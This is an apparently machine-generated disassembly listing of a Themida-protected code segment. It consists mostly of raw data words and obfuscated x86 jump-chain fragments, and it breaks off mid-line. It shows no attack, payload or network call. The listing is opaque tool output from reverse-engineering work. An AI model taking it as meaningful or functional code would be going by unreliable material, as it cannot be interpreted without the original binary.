39E94245h dd 0C1FFFF82h, 6807E1h, 29000000h, 8159240Ch, 4748C8F1h dd 8E26E95Dh, 2C89FFFFh, 21D1BD24h, 0D5F70F71h, 7BDECD81h dd 41E96281h db 0F0h, 2 dup(0FFh) byte_54E21F db 0FFh ; DATA XREF: Themida_:00544454o dd 2CE92434h, 0C1FFFFE4h, 0F78103EFh, 4D853194h, 0E905EFC1h dd 23E4h ; --------------------------------------------------------------------------- loc_54E238: ; CODE XREF: Themida_:0054E3A3j mov [esp], ebx mov ebx, 0C0D175Bh xor ebx, 21A666A3h sub ebx, 2DAB71F4h add eax, ebx jmp loc_54EC62 ; --------------------------------------------------------------------------- db 29h dd 0C3815FFBh, 30D611B2h, 0C32EB81h, 0C2317497h, 0FF643EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E269: ; CODE XREF: Themida_:005498AFj shl ecx, 6 push ecx push ebp jmp loc_54E47D ; --------------------------------------------------------------------------- loc_54E273: ; CODE XREF: Themida_:0054DEA5j pop ecx sub edi, 3BA163B5h add edi, eax jmp loc_550BF6 ; --------------------------------------------------------------------------- db 58h, 0E9h, 0Dh db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E287: ; CODE XREF: Themida_:00548B95j mov edx, ecx mov ecx, [esp] add esp, 4 jmp loc_544C73 ; --------------------------------------------------------------------------- db 66h dd 30E5B450h, 0B9ABE9E2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E2A2: ; CODE XREF: Themida_:0054EAFBj add ecx, 36EA9294h jmp loc_549858 ; --------------------------------------------------------------------------- db 81h, 0C2h, 67h dd 0E920E422h, 0FFFF662Fh, 5AF42D5Fh, 34FF57C1h, 0ADE95A24h dd 0F7FFFFAEh, 0EA8142DAh, 117A6986h, 4059B850h, 3F2D6102h dd 0E92E39CFh, 0FFFFB380h ; --------------------------------------------------------------------------- loc_54E2E0: ; CODE XREF: Themida_:0054DA06j mov esi, 395365AAh shl esi, 1 push esi sub esp, 4 jmp loc_545726 ; --------------------------------------------------------------------------- dd 3EFC15Ah, 0EE685256h, 0E963A36Ah, 0FFFF6D74h ; --------------------------------------------------------------------------- loc_54E300: ; CODE XREF: Themida_:0054EE2Dj mov edx, 475B7754h push edx jmp loc_54C1FC ; --------------------------------------------------------------------------- db 68h dd 51C00951h, 81242C8Bh, 4C4h, 0E9EA0100h, 0FFFFA7C6h ; --------------------------------------------------------------------------- loc_54E320: ; CODE XREF: Themida_:0054B7B2j mov ecx, 2000h and eax, ecx mov ecx, [esp] push 7618h mov [esp], esi mov esi, esp push ebx jmp loc_54BCC0 ; --------------------------------------------------------------------------- loc_54E33A: ; CODE XREF: Themida_:00551156j inc esi add esi, 7B25C22Bh and ebp, esi jmp loc_551215 ; --------------------------------------------------------------------------- dd 60BD5550h, 0F737AA42h, 0D5E581D5h, 81090161h, 3CD64CEDh dd 5DE88906h, 0E958C789h, 0FFFFAE35h ; --------------------------------------------------------------------------- loc_54E368: ; CODE XREF: Themida_:00549B98j xchg ebx, [esp] pop esp mov [esp], ecx mov ecx, eax mov ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_546E58 ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 8B241433h, 24D22424h, 14E99C24h, 55FFFF63h, 115BE9h db 0 ; --------------------------------------------------------------------------- loc_54E399: ; CODE XREF: Themida_:0054F7F0j add eax, 4 push 19C3h jmp loc_54E238 ; --------------------------------------------------------------------------- loc_54E3A8: ; CODE XREF: Themida_:00544C20j add eax, edx jmp loc_54DBDB ; --------------------------------------------------------------------------- loc_54E3AF: ; CODE XREF: Themida_:0054C201j mov edx, [esp] add esp, 4 sub edx, 8FC0506h jmp loc_54ED42 ; --------------------------------------------------------------------------- db 51h dd 0FFF2EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E3C9: ; CODE XREF: Themida_:005494C2j xchg edi, edx xor edi, edx xor edx, edi jmp loc_546A51 ; --------------------------------------------------------------------------- loc_54E3D4: ; CODE XREF: Themida_:0054B53Ej shr ebp, 6 shl ebp, 4 push eax mov eax, 3FD77FB4h xor ebp, eax mov eax, [esp] jmp loc_548A71 ; --------------------------------------------------------------------------- loc_54E3EA: ; CODE XREF: Themida_:0054ECEDj and eax, esi push dword ptr [esp] pop esi add esp, 4 shr eax, 0Ah xor eax, ecx push 795Eh mov [esp], eax jmp loc_54947F ; --------------------------------------------------------------------------- align 2 dw 2CD8h dd 0E9792CDBh, 0FFFF7B41h dword_54E410 dd 9D1C77FFh, 24041158h, 0B65CE99Ch ; DATA XREF: Themida_:00544588o db 2 dup(0FFh) word_54E41E dw 8B66h ; DATA XREF: Themida_:005444E8o dd 0EC83240Ch, 240C8904h, 240C8B54h, 4C481h, 0BB530000h dd 4, 0FFE1DEE9h, 81E689FFh, 4C6h, 4C68100h, 87000000h dd 0E95C2434h, 0FFFFF7B6h ; --------------------------------------------------------------------------- loc_54E454: ; CODE XREF: Themida_:005464AAj pop edx xor eax, edx xor edx, eax jmp loc_54EE23 ; --------------------------------------------------------------------------- dw 483h dd 5580424h, 4, 42Dh, 0E429E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E472: ; CODE XREF: Themida_:00549069j add edx, 2FE356DDh jmp loc_550B0D ; --------------------------------------------------------------------------- loc_54E47D: ; CODE XREF: Themida_:0054E26Ej mov ecx, [esp] add esp, 4 jmp loc_546712 ; --------------------------------------------------------------------------- loc_54E48B: ; CODE XREF: Themida_:0054CD1Bj sub edx, 79D7550Eh dec edx neg edx push esi push edi jmp loc_54A91C ; --------------------------------------------------------------------------- loc_54E49B: ; CODE XREF: Themida_:0054FAD1j pop dword ptr [esp] mov esp, [esp] jmp loc_5497A7 ; --------------------------------------------------------------------------- dw 0E334h dd 8358C328h, 53E904ECh, 4FFFFF90h, 0DCF0B951h, 0CF291C9Dh dd 5FFA8959h, 0EA81DAF7h, 5C3A0364h, 0C103F281h, 0EE815B6Fh dd 64D71DAEh, 0FFC4B7E9h db 0FFh byte_54E4D9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054444Co dd 0D033E959h, 5866FFFFh, 80EFE380h, 0E380E4E3h, 5BEB805Eh dd 535BDA88h, 0FF78DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_54E4F9: ; CODE XREF: Themida_:00550035j mov esi, 6001A99Ch sub ecx, esi mov esi, [esp] add esp, 4 mov edi, ecx pop ecx jmp loc_547FEF ; --------------------------------------------------------------------------- dw 0BB53h dd 1EB205F3h, 815BDD31h, 2E61E7E5h, 73ED816Ch, 893A34C8h dd 242C8BEFh, 4C481h, 0F7810000h, 7F434D90h, 0E95FF829h dd 0BDCh dword_54E53C dd 9C241CF6h, 0FF6162E9h ; DATA XREF: Themida_:00544548o db 0FFh ; --------------------------------------------------------------------------- loc_54E545: ; CODE XREF: Themida_:0054A5D2j add cl, 6Ch add bl, 76h add bl, 66h sub bl, cl sub bl, 66h jmp loc_5513AB ; --------------------------------------------------------------------------- dd 0FC95E941h, 0C8BFFFFh, 0F8E6E924h, 0D868FFFFh, 89000072h dd 0E9242Ch db 88h, 2 dup(0FFh) byte_54E573 db 66h ; DATA XREF: Themida_:00544598o dd 83240C8Bh, 48904ECh, 4EC8124h, 89000000h, 65E92424h dd 55FFFFE3h, 0D64EAABDh, 0A4F58143h, 293E301Bh, 0D72E9E8h dd 0B4500000h, 58E188F1h, 0FF78CDE9h, 0B3F681FFh, 812E6E29h dd 0EC0C7EE6h, 0B8EEE965h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E5BA: ; CODE XREF: Themida_:0054EB42j and eax, edi jmp loc_550838 ; --------------------------------------------------------------------------- db 31h, 14h, 24h aXh db 'Xh*"',0 align 2 dw 2C89h dd 0E95D5024h, 0FFFF9934h ; --------------------------------------------------------------------------- loc_54E5D4: ; CODE XREF: Themida_:0054865Dj pop ebx mov esi, ecx pop ecx jmp loc_54EB3F ; --------------------------------------------------------------------------- loc_54E5DD: ; CODE XREF: Themida_:0054B376j xor ebp, 48904B45h shl ebp, 4 push ecx jmp loc_54CAFC ; --------------------------------------------------------------------------- loc_54E5EC: ; CODE XREF: Themida_:0054EA21j inc edx jmp loc_549303 ; --------------------------------------------------------------------------- dw 0B951h dd 399558AAh, 8244C01h, 0FF9501E9h, 2E9C0FFh, 0FEFFC180h dd 158AE9C9h, 815B0000h, 0DEBFB4C1h, 2A5CE9FFh, 74010000h dd 0DAE90424h, 29000007h, 243C8BF8h, 2D04C483h, 372F65AFh dd 5BDBB951h, 0D9F715B2h, 9D2E9h, 0D8F75F00h, 0E908E8C1h dd 0FFFF95DEh, 0B8h, 89C82900h, 24048BC1h, 4C481h, 0E1C10000h dd 5E1C105h, 92D5BE56h, 0F1017C70h, 7CE9E95Eh, 0ED81FFFFh dd 4FB97710h, 21399805h, 0E9E80125h, 0FFFF9E36h ; --------------------------------------------------------------------------- loc_54E680: ; CODE XREF: Themida_:00546CDCj mov ebp, 1A895707h xor ebp, 49E178E5h jmp loc_54AA98 ; --------------------------------------------------------------------------- loc_54E690: ; CODE XREF: Themida_:0054B2E9j add esp, 4 push eax jmp loc_548B47 ; --------------------------------------------------------------------------- db 5Dh, 29h, 0FBh dd 6C80EB81h, 34FF6D34h, 0C4815F24h, 4, 3825B850h, 0CE913CAh dd 80FFFFC0h, 48B13C5h, 4C48324h, 51CFED80h, 116BE9h, 39AFBD00h dd 84E94378h, 0F7000001h, 9CEF81D7h, 0E9C05992h, 0FFFFA594h dd 0D4E9F201h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E6E7: ; CODE XREF: Themida_:00550DB9j mov edx, 103D241Ah shr edx, 7 shl edx, 2 sub esp, 4 mov [esp], ebx jmp loc_546C90 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 1ABE9h, 78C18100h, 0E9162F30h, 0FFFF8FDBh, 962320BEh dd 246C8105h, 99586204h, 2474290Bh, 0E558E904h, 0E781FFFFh dd 520428B0h, 0FF97E955h, 515EFFFFh, 320211B9h, 59C80148h dd 0FFE3CCE9h, 4C483FFh, 0FFC5C2E9h db 0FFh byte_54E749 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00544468o dd 0FFEC01E9h, 0C6C381FFh, 507FB423h, 0B8h, 0E9D80100h dd 0FFFF9670h, 0E9C5015Dh, 0FFFF6C28h, 0DA6D80BEh, 56464E2Eh dd 5E240CFFh, 0FF7C48E9h, 895158FFh, 38E957E1h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E787: ; CODE XREF: Themida_:0054BBA3j add esp, 4 jmp loc_54E1A2 ; --------------------------------------------------------------------------- word_54E792 dw 4ACh ; DATA XREF: Themida_:005445C4o dd 0B9B55192h, 0E828A02Ch, 0FF8091E9h, 5AD000FFh, 0FC3305Bh dd 5AE9C0B6h, 21FFFF6Dh, 0EAD15BDAh, 28CC281h, 0D709719Ch dd 18D7E9h, 24148B00h, 4C481h, 0B1E90000h, 52FFFF69h, 637FD1BAh dd 79FDE97Ah, 0D2F7FFFFh, 6220F281h, 0D3291D62h, 6851555Ah dd 14B86B58h, 0C1814159h, 1B02DA98h, 0CBE9CD89h, 89FFFFC2h dd 4B9240Ch, 1000000h, 0C08359C8h, 24048702h, 0B30F665Ch dd 0E99C2404h, 0FFFF5E8Fh ; --------------------------------------------------------------------------- loc_54E818: ; CODE XREF: Themida_:0054E0EBj push esp pop esi push ecx jmp loc_5466E2 ; --------------------------------------------------------------------------- dd 81FFED83h, 43502EEDh, 51DDF765h, 1564E9h db 0 ; --------------------------------------------------------------------------- loc_54E831: ; CODE XREF: Themida_:005462DDj push esi sub esp, 4 jmp loc_54D4CC ; --------------------------------------------------------------------------- loc_54E83A: ; CODE XREF: Themida_:0054B698j and ebp, 68AC2955h push edx jmp loc_54977F ; --------------------------------------------------------------------------- dw 0C680h dd 5AF43093h, 52F0F480h, 58E93FB2h, 1FFFFCCh, 0F4E95DEFh dd 28FFFFF9h, 2C8A242Ch, 2C48324h, 0FF8A42E9h db 0FFh ; --------------------------------------------------------------------------- loc_54E86D: ; CODE XREF: Themida_:0054BE49j mov ebx, 46314FA8h dec ebx shr ebx, 5 add ebx, 0D28D1B0h push ebx mov ebx, 693F002Bh add eax, ebx mov ebx, [esp] jmp loc_54EA6F ; --------------------------------------------------------------------------- dword_54E88C dd 0DCBBE9ADh, 489FFFFh, 0E9B9E924h ; DATA XREF: Themida_:00544558o db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E89A: ; CODE XREF: Themida_:00546E02j add esp, 4 push dword ptr [esp] pop ebx jmp loc_547532 ; --------------------------------------------------------------------------- word_54E8A6 dw 8B66h ; DATA XREF: Themida_:005444D0o dd 0E9552404h, 28E9h, 8B24048Fh, 4082424h, 0E8E99C24h dd 81FFFF5Dh, 42404h, 42E90000h db 2Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54E8CB: ; CODE XREF: Themida_:0054BCCEj push 55EDh mov [esp], ebp mov ebp, 3C2327B4h add ebp, 66047656h push edi push esi jmp loc_547D81 ; --------------------------------------------------------------------------- loc_54E8E5: ; CODE XREF: Themida_:0054B5D4j add esp, 4 add esp, 4 or eax, eax jz loc_55018D sub esp, 4 mov [esp], eax push edi push esi mov esi, 66675779h sub esp, 4 mov [esp], edx jmp loc_549AC5 ; --------------------------------------------------------------------------- aSiuhM db 'S‰ãh×M',0 dw 8900h dd 0D4BA2414h, 81470906h, 967E65CAh, 0A8E2817Ah, 0F7081535h dd 80EA81D2h, 81867576h, 0B31035CAh, 9237E972h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E93A: ; CODE XREF: Themida_:00550CD3j pop ebp jmp loc_54D671 ; --------------------------------------------------------------------------- a_hb db '_hb!',0 align 2 aS_5 db 'é',1Bh,'&',0 db 0 ; --------------------------------------------------------------------------- loc_54E94B: ; CODE XREF: Themida_:00551265j push ebp mov ebp, 505321AAh not ebp add ebp, 984370Ch add ebp, 0A3192CFFh push ebp pop esi pop ebp or esi, 57221C56h sub esp, 4 mov [esp], ebp jmp loc_5485D1 ; --------------------------------------------------------------------------- db 49h dd 2D404091h, 0AA0A8517h, 0FF95D6E9h db 0FFh byte_54E981 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005445C0o dd 0BC9EE924h, 8950FFFFh, 405E0h, 0E9520000h, 0FFFF7797h dd 5D2DF801h, 8B3E4169h, 0C483243Ch, 4EC8304h, 52243C89h dd 0A1543D68h, 24148B4Fh, 0FFB62BE9h, 0C3BF57FFh, 2912A435h dd 5F08247Ch, 0FFF5A1E9h, 0E1F766FFh, 428568h, 24048900h dd 2434FF54h, 4C48158h, 0E9000000h, 0FFFFF41Bh, 468h, 0A7FFE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E9EE: ; CODE XREF: Themida_:0054EFBEj mov ecx, [eax] jmp loc_5458F6 ; --------------------------------------------------------------------------- db 0B4h, 0CFh, 0E9h dd 0FFFF7EDCh, 0E9240C89h, 0FFFF7C4Ch, 0A310E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA0A: ; CODE XREF: Themida_:0054769Dj push edi mov edi, 68455C6Ch and edi, 6B0A6DACh jmp loc_54548B ; --------------------------------------------------------------------------- loc_54EA1B: ; CODE XREF: Themida_:00550885j push edx mov edx, 780D0057h jmp loc_54E5EC ; --------------------------------------------------------------------------- loc_54EA26: ; CODE XREF: Themida_:0054532Aj add ebp, edi add ebp, 42BA7BABh pop edi xor ebp, [esp] xor [esp], ebp jmp loc_550C5F ; --------------------------------------------------------------------------- dw 0BE56h dd 5AC9219Eh, 405EF009h, 103C4005h, 0CE32055Ah, 0C501B0D8h dd 8ABB5358h, 43716F6Bh, 0A397C381h, 0D929CF7Fh, 0B435E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EA66: ; CODE XREF: Themida_:00547D5Bj push dword ptr [esp+4] jmp loc_549AD2 ; --------------------------------------------------------------------------- loc_54EA6F: ; CODE XREF: Themida_:0054E887j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add eax, 462527CFh jmp loc_54A043 ; --------------------------------------------------------------------------- dd 815BDA89h, 0F238F7EAh, 5AD589D0h, 0E5C1DDF7h, 6E5C105h dd 4C581h, 0EF014073h, 55242C8Bh, 2420E9h, 9CBF5700h, 2916EB22h dd 0F0015FF8h, 0EB229C05h, 0E9535E16h, 0FFFFB399h, 0E924248Bh dd 0AE9h, 15BDD31h, 2434FFEEh, 0E189515Dh, 36A3BA52h, 0E2C11047h dd 0F7524203h, 875A2414h, 0E9D6F7F2h, 0FFFFB7F2h ; --------------------------------------------------------------------------- loc_54EAF0: ; CODE XREF: Themida_:005488DDj add ecx, 6EE54F0Fh shr ecx, 4 not ecx jmp loc_54E2A2 ; --------------------------------------------------------------------------- loc_54EB00: ; CODE XREF: Themida_:0054AA8Bj sub esp, 4 jmp loc_550806 ; --------------------------------------------------------------------------- db 5Fh dd 4AAB6851h, 81590730h, 9FBC62E9h, 59CF0112h, 5D8CE957h dd 2C31FFFFh, 242C3324h, 0FF765FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54EB2D: ; CODE XREF: Themida_:005492B8j or ecx, 71BB3D84h add ecx, 0ACCACC4Fh push ecx jmp loc_54531E ; --------------------------------------------------------------------------- loc_54EB3F: ; CODE XREF: Themida_:0054E5D8j xor edi, esi pop esi jmp loc_54E5BA ; --------------------------------------------------------------------------- db 54h dd 8124048Bh, 4C4h, 39E95600h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EB57: ; CODE XREF: Themida_:0054A68Dj pop edx push ecx jmp loc_55051B ; --------------------------------------------------------------------------- loc_54EB5E: ; CODE XREF: Themida_:0054F387j push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp mov ebx, esi jmp loc_54CFAA ; --------------------------------------------------------------------------- dw 0EB81h dd 9EB235Ah, 1C8BD831h, 51E95024h db 0Dh, 2 dup(0) byte_54EB83 db 0FFh ; DATA XREF: Themida_:005445A8o dd 669D1C77h, 241CD259h, 5B15E99Ch, 8BB9FFFFh, 817CA445h dd 60DD37E9h, 8E5BE920h, 0D500FFFFh, 59E8305Ah, 5358C100h dd 0C381E389h, 4, 1F0FE9h, 0EB815900h, 5A475E22h, 3AE9F301h dd 52000020h, 4BAh, 0E9D60100h, 16DFh, 15BDE01h, 0C9D9E9F3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EBDE: ; CODE XREF: Themida_:00548C6Fj add esp, 4 sub ebp, 72A11094h jmp loc_54DC03 ; --------------------------------------------------------------------------- db 87h dd 248B240Ch, 9234E924h, 815BFFFFh, 4C4h, 89F28100h, 14C587Ch dd 3C875AD7h, 24248B24h, 24048B66h, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 54241489h, 0FFA3F2E9h, 148B66FFh, 10E95024h dd 81FFFFFFh, 0B96E9DF1h, 0F1814914h, 3D57332Ah, 0D8F4E981h dd 0CF01330Bh, 22A0E9h db 0 ; --------------------------------------------------------------------------- loc_54EC51: ; CODE XREF: Themida_:00550201j push ecx push ebp mov ebp, 1D8E05A0h mov ecx, 659C711Eh jmp loc_54C4D9 ; --------------------------------------------------------------------------- loc_54EC62: ; CODE XREF: Themida_:0054E24Ej mov ebx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] and [esp], eax pushf jmp loc_5488FA ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 0FFE1B5E9h, 505266FFh, 0E4D018B4h, 0FF794CE9h db 0FFh byte_54EC91 db 0ACh, 0E9h, 44h ; DATA XREF: Themida_:00544530o db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EC97: ; CODE XREF: Themida_:005466E7j xor ecx, 63D72FD0h push esi mov esi, 627B5178h or ecx, esi pop esi and ecx, 447F30B5h dec ecx inc ecx push esi jmp loc_548871 ; --------------------------------------------------------------------------- dd 798DC381h, 0EB017F28h, 798DEB81h, 15D7F28h, 0C97DE9C3h dd 0D8E9FFFFh, 5BFFFF59h, 8B240487h, 8B662424h, 11E9240Ch db 62h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ECDF: ; CODE XREF: Themida_:00548AF8j mov edx, 37A12E82h sub edx, 37A12A82h mov esi, edx pop edx jmp loc_54E3EA ; --------------------------------------------------------------------------- dw 0C483h dd 0FFF03104h, 348B2434h, 0E2895224h, 4BE56h, 5BE90000h dd 0E900000Dh, 0FFFF5997h ; --------------------------------------------------------------------------- loc_54ED10: ; CODE XREF: Themida_:0054C993j add esi, edi pop edi sub esi, 4 xchg esi, [esp] jmp loc_548044 ; --------------------------------------------------------------------------- loc_54ED1E: ; CODE XREF: Themida_:005452A7j sub edi, 82CBC043h add ecx, edi pop edi and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jz loc_545430 push dword ptr [edi+1Ch] jmp loc_54B97C ; --------------------------------------------------------------------------- loc_54ED42: ; CODE XREF: Themida_:0054E3BEj mov edi, edx jmp loc_546E07 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_544910 ; --------------------------------------------------------------------------- dword_54ED64 dd 240C8B66h, 48D68h, 24348900h, 24348B54h, 4C481h, 30E90000h ; DATA XREF: Themida_:00544404o db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ED7F: ; CODE XREF: Themida_:00548D4Cj mov [esp], eax push esp mov eax, [esp] add esp, 4 jmp loc_550C42 ; --------------------------------------------------------------------------- word_54ED8E dw 34FFh ; DATA XREF: Themida_:00544574o dd 24048B24h, 57E28952h, 8E037FBFh, 7BEF8155h, 1558E03h dd 68515FFAh, 29BE5B8Bh, 0A9E94959h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EDB3: ; CODE XREF: Themida_:0054E176j pop ebx push edi jmp loc_54903A ; --------------------------------------------------------------------------- loc_54EDBA: ; CODE XREF: Themida_:005510BCj pop eax add esp, 4 sub eax, 751A6043h sub esp, 4 mov [esp], eax sub dword ptr [esp], 655B0987h pop ebp add ebp, 655B0987h jmp loc_544C0C ; --------------------------------------------------------------------------- db 5Ch dd 0E9E38953h, 0C4Fh, 0E9240489h, 0FFFF6E5Dh ; --------------------------------------------------------------------------- loc_54EDF0: ; CODE XREF: Themida_:0054C34Fj pop ebx mov [edi+20h], edx mov edx, [esp] push edi jmp loc_54AEB4 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 0A4h dd 0E9FFFF58h, 0FFFF589Fh, 4C481h, 93680000h, 89000065h dd 0B951241Ch, 22B501DFh, 67E9D9F7h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EE23: ; CODE XREF: Themida_:0054E459j xor eax, edx push esi sub esp, 4 mov [esp], edi push edx jmp loc_54E300 ; --------------------------------------------------------------------------- dw 0F181h dd 8D218BABh, 0D3E9CB29h, 5CFFFFF0h, 89243C89h, 4C781E7h dd 0E9000000h, 0FFFFEDC9h, 81E28952h, 4C2h, 4EA8100h, 68000000h dd 6CCFh, 0FF9967E9h, 0C6E950FFh, 89000001h, 0E8B9240Ch dd 0C12A4514h, 0E98106E1h, 73C428C0h, 0FFC52FE9h, 81E189FFh dd 4ECh, 242C8900h, 4BDh, 0C278E900h, 3489FFFFh, 0A1D8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EEA2: ; CODE XREF: Themida_:005461D2j push edi push 3B9D147Fh pop edi push edx push eax mov eax, 20582B7Ah push edi push 6B6Dh mov [esp], ecx push ebx mov ebx, 74C72A51h and ebx, 8012389h sub ebx, 32C14A0Ch jmp loc_54FFC1 ; --------------------------------------------------------------------------- dword_54EED0 dd 726968h, 24148900h, 0FF57CAE9h, 0EE0858FFh, 46B45059h ; DATA XREF: Themida_:005445CCo dd 0C03DEC80h, 0DCF608E4h, 0E9E6EC80h, 0FFFF6853h, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 0EC83240Ch, 24148904h dd 1BAh, 4815200h, 3A128124h, 240C8B7Ch, 4C481h, 0BD550000h dd 48362A82h, 2713C581h, 0ACE944D0h, 81FFFF5Ch, 0DDD866F1h dd 59CF09F1h, 78D9F781h, 0CF816C09h, 578512CEh, 57EAEF81h dd 0F801579Fh, 2C0835Fh, 4EC81h, 4890000h, 2474FF24h, 48F5804h dd 24248B24h, 24048B66h, 4EC81h, 15E90000h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54EF7B: ; CODE XREF: Themida_:00547964j add esp, 4 and ecx, ebp mov ebp, [esp] push eax push esp mov eax, [esp] add esp, 4 add eax, 4 jmp loc_549141 ; --------------------------------------------------------------------------- loc_54EF9B: ; CODE XREF: Themida_:0054A255j shl ebx, 4 dec ebx add ebx, 0B9D6DAFDh add ebx, edi sub esp, 4 mov [esp], eax mov eax, 0 add eax, 75C43B29h add eax, ebx sub eax, 75C43B29h jmp loc_54E9EE ; --------------------------------------------------------------------------- db 8Bh dd 3C892424h, 0EDDDE924h, 875AFFFFh, 87E9241Ch, 5AFFFFD5h dd 0BEE9F828h, 33FFFF95h, 3C31243Ch, 243C3324h, 241C895Ch dd 8093B151h, 0E980FFE9h, 59CF8878h, 0F786DFF6h, 0F786CEFEh dd 0F668h, 24148900h, 24E9B3B6h, 57000004h, 5B5545BFh dd 0E6C7815Fh, 29A7DCE3h, 0BB535FF9h, 1, 0F75BD901h, 7481E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F02E: ; CODE XREF: Themida_:005487F0j and ch, dh jmp loc_549CF8 ; --------------------------------------------------------------------------- db 0B8h, 4, 0 dd 0C6290000h, 0DFE95658h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F043: ; CODE XREF: Themida_:0054B2DEj xor ecx, 3CF4567Dh jmp loc_55133E ; --------------------------------------------------------------------------- off_54F04E dd offset dword_58C268 ; DATA XREF: Themida_:00544470o dw 8900h dd 0E789243Ch, 0FF9942E9h db 0FFh ; --------------------------------------------------------------------------- loc_54F05D: ; CODE XREF: Themida_:0054909Aj mov ebx, esi mov edx, ebx mov ebx, [esp] add esp, 4 mov esi, [esp] jmp loc_545DDC ; --------------------------------------------------------------------------- db 5Fh dd 0FF53DA87h, 0E95B240Ch, 0FFFF7FADh, 89243489h, 0FB41E9E6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F086: ; CODE XREF: Themida_:0054C6D1j add ebx, 4 sub ebx, 4 jmp loc_54C964 ; --------------------------------------------------------------------------- loc_54F097: ; CODE XREF: Themida_:00547EEDj pop edi add ebx, 4 xchg ebx, [esp] jmp loc_54B6D9 ; --------------------------------------------------------------------------- dw 9ABAh dd 8178BA48h, 451917CAh, 81DAF73Ah, 0A665F2h, 5AD70185h dd 0FF8DDDE9h, 0E95D59FFh, 0FFFFEBA5h, 56241C89h, 0DE55BC68h dd 2434FF04h, 0E389535Eh, 4C381h, 0FAE90000h, 8300000Eh dd 0A7E904ECh, 81FFFFF7h, 7671A3EBh, 19EB8111h, 31B67991h dd 0D0015BDAh, 770C685Ah, 75E90000h, 8FFFFFB2h, 248B2404h dd 2434FF24h, 0E92434FFh, 0FFFFBFEAh, 9C56272Dh, 78F9E90Ah dd 148BFFFFh, 49EC6824h, 3C890000h, 63EAE924h, 0EFC1FFFFh dd 6372E904h, 2C33FFFFh, 242C3124h, 5C242C33h, 0FF6593E9h dd 0E7CE81FFh, 81103275h, 0AE4FEAF6h, 6423E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F15A: ; CODE XREF: Themida_:00546841j pop edi add edx, 54BC06B3h add edx, ebp sub edx, 54BC06B3h pop ebp jmp loc_5490E5 ; --------------------------------------------------------------------------- db 52h dd 0FFE1D6E9h, 0C58166FFh, 896671CFh, 242C8BEAh, 1CD4E9h db 0 ; --------------------------------------------------------------------------- loc_54F185: ; CODE XREF: Themida_:0054B808j xor dl, 7 push bx mov bh, 3Ch sub dl, bh pop bx dec dl push cx mov cl, 0DBh or dl, cl jmp loc_546097 ; --------------------------------------------------------------------------- loc_54F19D: ; CODE XREF: Themida_:00550CA2j add esp, 4 xchg edi, [esp] mov esp, [esp] xor eax, 35AD324Ch jmp loc_54F702 ; --------------------------------------------------------------------------- dd 0EB80E2B3h, 0A8CB8031h, 0C008E3C0h, 0D3F604E3h, 0FF9A1CE9h dd 81E789FFh, 4C7h, 0EEE95100h db 6Eh, 2 dup(0FFh) byte_54F1D3 db 66h ; DATA XREF: Themida_:00544644o dd 5624048Bh, 5651E689h, 0F64EE2BEh, 5EF1895Ah, 7737E941h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54F1EA: ; CODE XREF: Themida_:0054B430j pop edx add edx, 4 jmp loc_54D681 ; --------------------------------------------------------------------------- dw 5451h dd 4C18159h, 0E9000000h, 0FFFFA4C3h ; --------------------------------------------------------------------------- loc_54F204: ; CODE XREF: Themida_:00545F46j pop ebp jmp loc_54D524 ; --------------------------------------------------------------------------- loc_54F20A: ; CODE XREF: Themida_:0054BA88j pop eax shl ebx, 8 jmp loc_5447CE ; --------------------------------------------------------------------------- loc_54F213: ; CODE XREF: Themida_:0054A27Fj pop eax add edx, 4 xchg edx, [esp] jmp loc_54742D ; --------------------------------------------------------------------------- loc_54F21F: ; CODE XREF: Themida_:0054E0DAj sub ecx, 1 jmp loc_546897 ; --------------------------------------------------------------------------- word_54F22A dw 8B66h ; DATA XREF: Themida_:00544560o dd 5452240Ch, 4C2815Ah, 56000000h, 